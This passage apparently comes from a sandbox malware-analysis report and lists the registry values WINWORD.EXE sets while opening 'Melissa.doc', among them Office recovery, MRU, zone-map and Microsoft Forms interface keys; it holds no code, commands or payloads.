"HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\WORD\RESILIENCY\STARTUPITEMS"; Key: "M({"; Value: "m({") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\LANGUAGERESOURCES\ENABLEDLANGUAGES"; Key: "1033"; Value: "Off") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\LANGUAGERESOURCES\ENABLEDLANGUAGES"; Key: "1033"; Value: "4F006E000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INSTALLER\USERDATA\S-1-5-18\PRODUCTS\00004109110000000100000000F01FEC\USAGE"; Key: "WORDFILES"; Value: "04001159") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INSTALLER\USERDATA\S-1-5-18\PRODUCTS\00004109110000000100000000F01FEC\USAGE"; Key: "PRODUCTFILES"; Value: "0A001159") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INSTALLER\USERDATA\S-1-5-18\PRODUCTS\00004109110000000100000000F01FEC\USAGE"; Key: "PRODUCTFILES"; Value: "0B001159") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\WORD"; Key: "MTTT"; Value: "C8180000014673D602F1DA0100000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\WORD\RESILIENCY\STARTUPITEMS"; Key: "+T{"; Value: "+t{") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\ZONEMAP"; Key: "PROXYBYPASS"; Value: "01000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\ZONEMAP"; Key: "INTRANETNAME"; Value: "01000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\ZONEMAP"; Key: "UNCASINTRANET"; Value: "01000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\ZONEMAP"; Key: "AUTODETECT"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\WORD\RESILIENCY\STARTUPITEMS"; Key: "{Y{"; Value: "{y{") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INSTALLER\USERDATA\S-1-5-18\PRODUCTS\00004109110000000100000000F01FEC\USAGE"; Key: "VBAFILES"; Value: "01001159") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\REVIEWCYCLE"; Key: "REVIEWTOKEN"; Value: "{9F1CF108-2695-4D26-AD46-8DA7324A2263}") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\WORD\PLACE MRU"; Key: "MAX DISPLAY"; Value: "19000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\WORD\PLACE MRU"; Key: "ITEM 1"; Value: "[F00000000][T01DAF102E3F565F0][O00000000]*C:\") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\WORD\FILE MRU"; Key: "MAX DISPLAY"; Value: "19000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\WORD\FILE MRU"; Key: "ITEM 1"; Value: "[F00000000][T01DAF102E3F7AFE0][O00000000]*C:\Melissa.doc") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\WORD\RESILIENCY\DOCUMENTRECOVERY\363E8D18"; Key: "363E8D18"; Value: "04000000C81800000E00000043003A005C004D0065006C0069007300730061002E0064006F0063000B0000004D0065006C0069007300730061002E0064006F0063000000000001000000000000001C65D3CE02F1DA01188D3E36188D3E3600000000DB040000000000000000000000000000000000000000000000000000FFFFFFFF0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000FFFFFFFF") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\CLASSES\TYPELIB\{811614AD-0B49-4B1C-BE62-ABD4D8F045CD}\2.0"; Key: "(DEFAULT)"; Value: "Microsoft Forms 2.0 Object Library"), "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\CLASSES\TYPELIB\{811614AD-0B49-4B1C-BE62-ABD4D8F045CD}\2.0\FLAGS"; Key: "(DEFAULT)"; Value: "36000000"), "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\CLASSES\TYPELIB\{811614AD-0B49-4B1C-BE62-ABD4D8F045CD}\2.0\0\WIN32"; Key: "(DEFAULT)"; Value: "%TEMP%\VBE\MSForms.exd"), "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\CLASSES\TYPELIB\{811614AD-0B49-4B1C-BE62-ABD4D8F045CD}\2.0\HELPDIR"; Key: "(DEFAULT)"; Value: "%TEMP%\VBE"), "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\TYPELIB\{811614AD-0B49-4B1C-BE62-ABD4D8F045CD}\2.0"; Key: "(DEFAULT)"; Value: "Microsoft Forms 2.0 Object Library"), "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\TYPELIB\{811614AD-0B49-4B1C-BE62-ABD4D8F045CD}\2.0\FLAGS"; Key: "(DEFAULT)"; Value: "36000000"), "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\TYPELIB\{811614AD-0B49-4B1C-BE62-ABD4D8F045CD}\2.0\0\WIN32"; Key: "(DEFAULT)"; Value: "%TEMP%\VBE\MSForms.exd"), "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\TYPELIB\{811614AD-0B49-4B1C-BE62-ABD4D8F045CD}\2.0\HELPDIR"; Key: "(DEFAULT)"; Value: "%TEMP%\VBE"), "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\INTERFACE\{BEF6E003-A874-101A-8BBA-00AA00300CAB}"; Key: "(DEFAULT)"; Value: "Font"), "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\WOW6432NODE\INTERFACE\{BEF6E003-A874-101A-8BBA-00AA00300CAB}"; Key: "(DEFAULT)"; Value: "Font"), "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\INTERFACE\{EC72F590-F375-11CE-B9E8-00AA006B1A69}"; Key: "(DEFAULT)"; Value: "IDataAutoWrapper"), "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\WOW6432NODE\INTERFACE\{EC72F590-F375-11CE-B9E8-00AA006B1A69}"; Key: "(DEFAULT)"; Value: "IDataAutoWrapper"), "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\INTERFACE\{82B02370-B5BC-11CF-810F-00A0C9030074}"; Key: "(DEFAULT)"; Value: "IReturnInteger"), "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\WOW6432NODE\INTERFACE\{82B02370-B5BC-11CF-810F-00A0C9030074}"; Key: "(DEFAULT)"; Value: "IReturnInteger"), "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\INTERFACE\{82B02371-B5BC-11CF-810F-00A0C9030074}"; Key: "(DEFAULT)"; Value: "IReturnBoolean"), "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\WOW6432NODE\INTERFACE\{82B02371-B5BC-11CF-810F-00A0C9030074}"; Key: "(DEFAULT)"; Value: "IReturnBoolean"), "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\INTERFACE\{82B02372-B5BC-11CF-810F-00A0C9030074}"; Key: "(DEFAULT)"; Value: "IReturnString"), "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\WOW6432NODE\INTERFACE\{82B02372-B5BC-11CF-810F-00A0C9030074}"; Key: "(DEFAULT)"; Value: "IReturnString"), "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\INTERFACE\{8A683C90-BA84-11CF-8110-00A0C9030074}"; Key: "(DEFAULT)"; Value: "IReturnSingle"), "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\WOW6432NODE\INTERFACE\{8A683C90-BA84-11CF-8110-00A0C9030074}"; Key: "(DEFAULT)"; Value: "IReturnSingle"), "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\INTERFACE\{8A683C91-BA84-11CF-8110-00A0C9030074}"; Key: "(DEFAULT)"; Value: "IReturnEffect"), "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\WOW6432NODE\INTERFACE\{8A683C91-BA84-11CF-8110-00A0C9030074}"; Key: "(DEFAULT)"; Value: "IReturnEffect"), "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\INTERFACE\{04598FC6-866C-11CF-AB7C-00AA00C08FCF}"; Key: "(DEFAULT)"; Value: "IControl"), "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\WOW6432NODE\INTERFACE\{04598FC6-866C-11CF-AB7C-00AA00C08FCF}"; Key: "(DEFAULT)"; Value: "IControl"), "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\INTERFACE\{04598FC7-866C-11CF-AB7C-00AA00C08FCF}"; Key: "(DEFAULT)"; Value: "Controls"), "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\WOW6432NODE\INTERFACE\{04598FC7-866C-11CF-AB7C-00AA00C08FCF}"; Key: "(DEFAULT)"; Value: "Controls"), "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\INTERFACE\{29B86A70-F52E-11CE-9BCE-00AA00608E01}"; Key: "(DEFAULT)"; Value: "IOptionFrame"), "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\WOW6432NODE\INTERFACE\{29B86A70-F52E-11CE-9BCE-00AA00608E01}"; Key: "(DEFAULT)"; Value: "IOptionFrame"), "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\INTERFACE\{04598FC8-866C-11CF-AB7C-00AA00C08FCF}"; Key: "(DEFAULT)"; Value: "_UserForm"), "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\WOW6432NODE\INTERFACE\{04598FC8-866C-11CF-AB7C-00AA00C08FCF}"; Key: "(DEFAULT)"; Value: "_UserForm"), "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\INTERFACE\{9A4BBF53-4E46-101B-8BBD-00AA003E3B29}"; Key: "(DEFAULT)"; Value: "ControlEvents"), "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\WOW6432NODE\INTERFACE\{9A4BBF53-4E46-101B-8BBD-00AA003E3B29}"; Key: "(DEFAULT)"; Value: "ControlEvents"), "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\INTERFACE\{5B9D8FC8-4A71-101B-97A6-00000B65C08B}"; Key: "(DEFAULT)"; Value: "FormEvents"), "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\WOW6432NODE\INTERFACE\{5B9D8FC8-4A71-101B-97A6-00000B65C08B}"; Key: "(DEFAULT)"; Value: "FormEvents"), "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\INTERFACE\{CF3F94A0-F546-11CE-9BCE-00AA00608E01}"; Key: "(DEFAULT)"; Value: "OptionFrameEvents"), "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\WOW6432NODE\INTERFACE\{CF3F94A0-F546-11CE-9BCE-00AA00608E01}"; Key: "(DEFAULT)"; Value: "OptionFrameEvents"), "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\INTERFACE\{04598FC1-866C-11CF-AB7C-00AA00C08FCF}"; Key: "(DEFAULT)"; Value: "ILabelControl"), "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\WOW6432NODE\INTERFACE\{04598FC1-866C-11CF-AB7C-00AA00C08FCF}"; Key: "(DEFAULT)"; Value: "ILabelControl"), "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\INTERFACE\{04598FC4-866C-11CF-AB7C-00AA00C08FCF}"; Key: "(DEFAULT)"; Value: "ICommandButton"), "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\WOW6432NODE\INTERFACE\{04598FC4-866C-11CF-AB7C-00AA00C08FCF}"; Key: "(DEFAULT)"; Value: "ICommandButton"), "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\INTERFACE\{8BD21D13-EC42-11CE-9E0D-00AA006002F3}"; Key: "(DEFAULT)"; Value: "IMdcText"), "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\WOW6432NODE\INTERFACE\{8BD21D13-EC42-11CE-9E0D-00AA006002F3}"; Key: "(DEFAULT)"; Value: "IMdcText"), "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\INTERFACE\{8BD21D23-EC42-11CE-9E0D-00AA006002F3}"; Key: "(DEFAULT)"; Value: "IMdcList"), "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\WOW6432NODE\INTERFACE\{8BD21D23-EC42-11CE-9E0D-00AA006002F3}"; Key: "(DEFAULT)"; Value: "IMdcList"), "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\INTERFACE\{8BD21D33-EC42-11CE-9E0D-00AA006002F3}"; Key: "(DEFAULT)"; Value: "IMdcCombo"), "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\WOW6432NODE\INTERFACE\{8BD21D33-EC42-11CE-9E0D-00AA006002F3}"; Key: "(DEFAULT)"; Value: "IMdcCombo"), "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\INTERFACE\{8BD21D43-EC42-11CE-9E0D-00AA006002F3}"; Key: "(DEFAULT)"; Value: "IMdcCheckBox"), "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\WOW6432NODE\INTERFACE\{8BD21D43-EC42-11CE-9E0D-00AA006002F3}"; Key: "(DEFAULT)"; Value: "IMdcCheckBox"), "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\INTERFACE\{8BD21D53-EC42-11CE-9E0D-00AA006002F3}"; Key: "(DEFAULT)"; Value: "IMdcOptionButton"), "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\WOW6432NODE\INTERFACE\{8BD21D53-EC42-11CE-9E0D-00AA006002F3}"; Key: "(DEFAULT)"; Value: "IMdcOptionButton"), "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\INTERFACE\{8BD21D63-EC42-11CE-9E0D-00AA006002F3}"; Key: "(DEFAULT)"; Value: "IMdcToggleButton"), "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\WOW6432NODE\INTERFACE\{8BD21D63-EC42-11CE-9E0D-00AA006002F3}"; Key: "(DEFAULT)"; Value: "IMdcToggleButton"), "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\INTERFACE\{04598FC3-866C-11CF-AB7C-00AA00C08FCF}"; Key: "(DEFAULT)"; Value: "IScrollbar"), "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\WOW6432NODE\INTERFACE\{04598FC3-866C-11CF-AB7C-00AA00C08FCF}"; Key: "(DEFAULT)"; Value: "IScrollbar"), "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\INTERFACE\{A38BFFC3-A5A0-11CE-8107-00AA00611080}"; Key: "(DEFAULT)"; Value: "Tab"), "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\WOW6432NODE\INTERFACE\{A38BFFC3-A5A0-11CE-8107-00AA00611080}"; Key: "(DEFAULT)"; Value: "Tab"), "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\INTERFACE\{944ACF93-A1E6-11CE-8104-00AA00611080}"; Key: "(DEFAULT)"; Value: "Tabs"), "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\WOW6432NODE\INTERFACE\{944ACF93-A1E6-11CE-8104-00AA00611080}"; Key: "(DEFAULT)"; Value: "Tabs"), "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\INTERFACE\{04598FC2-866C-11CF-AB7C-00AA00C08FCF}"; Key: "(DEFAULT)"; Value: "ITabStrip"), "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\WOW6432NODE\INTERFACE\{04598FC2-866C-11CF-AB7C-00AA00C08FCF}"; Key: "(DEFAULT)"; Value: "ITabStrip"), "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\INTERFACE\{79176FB3-B7F2-11CE-97EF-00AA006D2776}"; Key: "(DEFAULT)"; Value: "ISpinbutton"), "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\WOW6432NODE\INTERFACE\{79176FB3-B7F2-11CE-97EF-00AA006D2776}"; Key: "(DEFAULT)"; Value: "ISpinbutton"), "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\INTERFACE\{4C599243-6926-101B-9992-00000B65C6F9}"; Key: "(DEFAULT)"; Value: "IImage"), "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\WOW6432NODE\INTERFACE\{4C599243-6926-101B-9992-00000B65C6F9}"; Key: "(DEFAULT)"; Value: "IImage"), "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\INTERFACE\{5512D111-5CC6-11CF-8D67-00AA00BDCE1D}"; Key: "(DEFAULT)"; Value: "IWHTMLSubmitButton"), "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\WOW6432NODE\INTERFACE\{5512D111-5CC6-11CF-8D67-00AA00BDCE1D}"; Key: "(DEFAULT)"; Value: "IWHTMLSubmitButton"), "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\INTERFACE\{5512D113-5CC6-11CF-8D67-00AA00BDCE1D}"; Key: "(DEFAULT)"; Value: "IWHTMLImage"), "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\WOW6432NODE\INTERFACE\{5512D113-5CC6-11CF-8D67-00AA00BDCE1D}"; Key: "(DEFAULT)"; Value: "IWHTMLImage"), "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\INTERFACE\{5512D115-5CC6-11CF-8D67-00AA00BDCE1D}"; Key: "(DEFAULT)"; Value: "IWHTMLReset"), "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\WOW6432NODE\INTERFACE\{5512D115-5CC6-11CF-8D67-00AA00BDCE1D}"; Key: "(DEFAULT)"; Value: "IWHTMLReset"), "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\INTERFACE\{5512D117-5CC6-11CF-8D67-00AA00BDCE1D}"; Key: "(DEFAULT)"; Value: "IWHTMLCheckbox"), "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\WOW6432NODE\INTERFACE\{5512D117-5CC6-11CF-8D67-00AA00BDCE1D}"; Key: "(DEFAULT)"; Value: "IWHTMLCheckbox"), "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\INTERFACE\{5512D119-5CC6-11CF-8D67-00AA00BDCE1D}"; Key: "(DEFAULT)"; Value: "IWHTMLOption"), "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\WOW6432NODE\INTERFACE\{5512D119-5CC6-11CF-8D67-00AA00BDCE1D}"; Key: "(DEFAULT)"; Value: "IWHTMLOption"), "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\INTERFACE\{5512D11B-5CC6-11CF-8D67-00AA00BDCE1D}"; Key: "(DEFAULT)"; Value: "IWHTMLText"), "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\WOW6432NODE\INTERFACE\{5512D11B-5CC6-11CF-8D67-00AA00BDCE1D}"; Key: "(DEFAULT)"; Value: "IWHTMLText"), "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\INTERFACE\{5512D11D-5CC6-11CF-8D67-00AA00BDCE1D}"; Key: "(DEFAULT)"; Value: "IWHTMLHidden"), "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\WOW6432NODE\INTERFACE\{5512D11D-5CC6-11CF-8D67-00AA00BDCE1D}"; Key: "(DEFAULT)"; Value: "IWHTMLHidden"), "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\INTERFACE\{5512D11F-5CC6-11CF-8D67-00AA00BDCE1D}"; Key: "(DEFAULT)"; Value: "IWHTMLPassword"), "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\WOW6432NODE\INTERFACE\{5512D11F-5CC6-11CF-8D67-00AA00BDCE1D}"; Key: "(DEFAULT)"; Value: "IWHTMLPassword"), "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\INTERFACE\{5512D123-5CC6-11CF-8D67-00AA00BDCE1D}"; Key: "(DEFAULT)"; Value: "IWHTMLSelect"), "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\WOW6432NODE\INTERFACE\{5512D123-5CC6-11CF-8D67-00AA00BDCE1D}"; Key: "(DEFAULT)"; Value: "IWHTMLSelect"), "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\INTERFACE\{5512D125-5CC6-11CF-8D67-00AA00BDCE1D}"; Key: "(DEFAULT)"; Value: "IWHTMLTextArea"), "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\WOW6432NODE\INTERFACE\{5512D125-5CC6-11CF-8D67-00AA00BDCE1D}"; Key: "(DEFAULT)"; Value: "IWHTMLTextArea"), "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\INTERFACE\{978C9E22-D4B0-11CE-BF2D-00AA003F40D0}"; Key: "(DEFAULT)"; Value: "LabelControlEvents"), "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\WOW6432NODE\INTERFACE\{978C9E22-D4B0-11CE-BF2D-00AA003F40D0}"; Key: "(DEFAULT)"; Value: "LabelControlEvents"), "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\INTERFACE\{7B020EC1-AF6C-11CE-9F46-00AA00574A4F}"; Key: "(DEFAULT)"; Value: "CommandButtonEvents"), "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\WOW6432NODE\INTERFACE\{7B020EC1-AF6C-11CE-9F46-00AA00574A4F}"; Key: "(DEFAULT)"; Value: "CommandButtonEvents"), "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\INTERFACE\{8BD21D12-EC42-11CE-9E0D-00AA006002F3}"; Key: "(DEFAULT)"; Value: "MdcTextEvents"), "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\WOW6432NODE\INTERFACE\{8BD21D12-EC42-11CE-9E0D-00AA006002F3}"; Key: "(DEFAULT)"; Value: "MdcTextEvents"), "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\INTERFACE\{8BD21D22-EC42-11CE-9E0D-00AA006002F3}"; Key: "(DEFAULT)"; Value: "MdcListEvents"), "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\WOW6432NODE\INTERFACE\{8BD21D22-EC42-11CE-9E0D-00AA006002F3}"; Key: "(DEFAULT)"; Value: "MdcListEvents"), "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\INTERFACE\{8BD21D32-EC42-11CE-9E0D-00AA006002F3}"; Key: "(DEFAULT)"; Value: "MdcComboEvents"), "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\WOW6432NODE\INTERFACE\{8BD21D32-EC42-11CE-9E0D-00AA006002F3}"; Key: "(DEFAULT)"; Value: "MdcComboEvents"), "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\INTERFACE\{8BD21D42-EC42-11CE-9E0D-00AA006002F3}"; Key: "(DEFAULT)"; Value: "MdcCheckBoxEvents"), "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\WOW6432NODE\INTERFACE\{8BD21D42-EC42-11CE-9E0D-00AA006002F3}"; Key: "(DEFAULT)"; Value: "MdcCheckBoxEvents"), "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\INTERFACE\{8BD21D52-EC42-11CE-9E0D-00AA006002F3}"; Key: "(DEFAULT)"; Value: "MdcOptionButtonEvents"), "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\WOW6432NODE\INTERFACE\{8BD21D52-EC42-11CE-9E0D-00AA006002F3}"; Key: "(DEFAULT)"; Value: "MdcOptionButtonEvents"), "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\INTERFACE\{8BD21D62-EC42-11CE-9E0D-00AA006002F3}"; Key: "(DEFAULT)"; Value: "MdcToggleButtonEvents"), "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\WOW6432NODE\INTERFACE\{8BD21D62-EC42-11CE-9E0D-00AA006002F3}"; Key: "(DEFAULT)"; Value: "MdcToggleButtonEvents"), "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\INTERFACE\{7B020EC2-AF6C-11CE-9F46-00AA00574A4F}"; Key: "(DEFAULT)"; Value: "ScrollbarEvents"), "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\WOW6432NODE\INTERFACE\{7B020EC2-AF6C-11CE-9F46-00AA00574A4F}"; Key: "(DEFAULT)"; Value: "ScrollbarEvents"), "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\INTERFACE\{7B020EC7-AF6C-11CE-9F46-00AA00574A4F}"; Key: "(DEFAULT)"; Value: "TabStripEvents"), "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\WOW6432NODE\INTERFACE\{7B020EC7-AF6C-11CE-9F46-00AA00574A4F}"; Key: "(DEFAULT)"; Value: "TabStripEvents"), "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\INTERFACE\{79176FB2-B7F2-11CE-97EF-00AA006D2776}"; Key: "(DEFAULT)"; Value: "SpinbuttonEvents"), "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\WOW6432NODE\INTERFACE\{79176FB2-B7F2-11CE-97EF-00AA006D2776}"; Key: "(DEFAULT)"; Value: "SpinbuttonEvents"), "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\INTERFACE\{4C5992A5-6926-101B-9992-00000B65C6F9}"; Key: "(DEFAULT)"; Value: "ImageEvents"), "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\WOW6432NODE\INTERFACE\{4C5992A5-6926-101B-9992-00000B65C6F9}"; Key: "(DEFAULT)"; Value: "ImageEvents"), "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\INTERFACE\{796ED650-5FE9-11CF-8D68-00AA00BDCE1D}"; Key: "(DEFAULT)"; Value: "WHTMLControlEvents"), "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\WOW6432NODE\INTERFACE\{796ED650-5FE9-11CF-8D68-00AA00BDCE1D}"; Key: "(DEFAULT)"; Value: "WHTMLControlEvents"), "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\INTERFACE\{47FF8FE0-6198-11CF-8CE8-00AA006CB389}"; Key: "(DEFAULT)"; Value: "WHTMLControlEvents1"), "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\WOW6432NODE\INTERFACE\{47FF8FE0-6198-11CF-8CE8-00AA006CB389}"; Key: "(DEFAULT)"; Value: "WHTMLControlEvents1"), "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\INTERFACE\{47FF8FE1-6198-11CF-8CE8-00AA006CB389}"; Key: "(DEFAULT)"; Value: "WHTMLControlEvents2"), "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\WOW6432NODE\INTERFACE\{47FF8FE1-6198-11CF-8CE8-00AA006CB389}"; 